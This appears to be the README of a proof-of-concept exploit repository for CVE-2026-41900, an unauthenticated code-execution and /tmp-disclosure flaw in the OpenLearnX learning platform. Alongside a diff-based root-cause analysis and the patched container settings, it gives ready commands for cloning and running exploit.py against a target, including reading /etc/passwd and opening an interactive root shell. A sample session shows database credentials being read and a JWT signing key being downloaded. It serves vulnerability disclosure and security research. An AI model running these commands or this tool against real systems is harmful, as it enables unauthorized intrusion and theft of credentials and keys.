Proof-of-concept exploit for CVE-2026-41900, an unauthenticated remote code execution in OpenLearnX via container volume mount, enabling /tmp disclosure and command execution.
| Property | Value |
|---|
| Name | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Type | Unauthenticated Info Disclosure / RCE |
| Affected | OpenLearnX < commit 14765d7 |
| Fixed | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (High) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (my automated patch intelligence pipeline) flagged a silent advisory on OpenLearnX — GHSA-8h25-q488-4hxw dropped with zero technical details. I pulled the fix commit (14765d7) and diffed it against its parent (d19c4e4).
The diff told the whole story: execute_in_container() in backend/routes/coding.py was gutted and replaced by a hardened real_compiler_service. The old code wrote user-supplied code to a tempfile, then mounted os.path.dirname(temp_file) — which resolves to /tmp — into a sibling Docker container as a read-only volume. No user=, no cap_drop, no security_opt. Root by default.
The kicker: the compiler blueprint at /api/compiler/execute has no authentication decorator. Any unauthenticated request can trigger code execution through the vulnerable container setup.
I isolated the pre-patch code in a local lab, confirmed all vectors, and wrote this PoC.
POST /api/compiler/execute (no auth)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ resolves to /tmp → ENTIRE /tmp mounted into container
│
├─ No user= → runs as root (UID 0)
├─ No cap_drop → default Docker capabilities
├─ No security_opt → default seccomp profile
│
└─ Attacker reads: secrets, creds, JWT keys, other users' submissions
| Gadget | Severity | CWE | Description |
|---|---|---|---|
listing | HIGH | CWE-538 | Directory listing of /tmp via volume mount |
secrets | CRITICAL | CWE-538 | Read credentials, keys, configs from /tmp |
submissions | HIGH | CWE-538 | Read other students' code submissions |
rootcheck | MEDIUM | CWE-250 | Confirm UID 0 (root) execution |
caps | MEDIUM | CWE-250 | Dump effective Linux capabilities |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# No dependencies — stdlib only
chmod +x exploit.py
# Check if a target is vulnerable
python3 exploit.py --check http://target:5000
# Run all gadgets + generate evidence JSON
python3 exploit.py --exploit http://target:5000
# Execute a single command
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Drop into interactive shell
python3 exploit.py --shell http://target:5000
# Run specific gadgets
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Once inside --shell, you get a pseudo-interactive shell. Each command spawns a new ephemeral container.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Downloaded jwt_signing_key.pem (235B)
root@container:/app# exit
To reproduce locally:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
The lab deploys a containerized Flask app reproducing the pre-patch execute_in_container() with:
/tmp shared between host and app containerCommit 14765d7 replaced execute_in_container() with real_compiler_service which applies:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # isolated tmpdir per exec
cap_drop=["ALL"], # drop all capabilities
security_opt=["no-new-privileges:true"], # prevent priv esc
user="65534:65534", # nobody, not root
...
)
| Date | Event |
|---|---|
| 2026-04 | OSDC flags silent advisory GHSA-8h25-q488-4hxw |
| 2026-04 | Diff analysis of commit 14765d7 vs parent d19c4e4 |
| 2026-05 | Lab reproduction and PoC development |
| 2026-05-06 | Full PoC confirmed — all 5 vectors validated |
This tool is provided for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.
Christbowel · christbowel.com · Balgo Security Team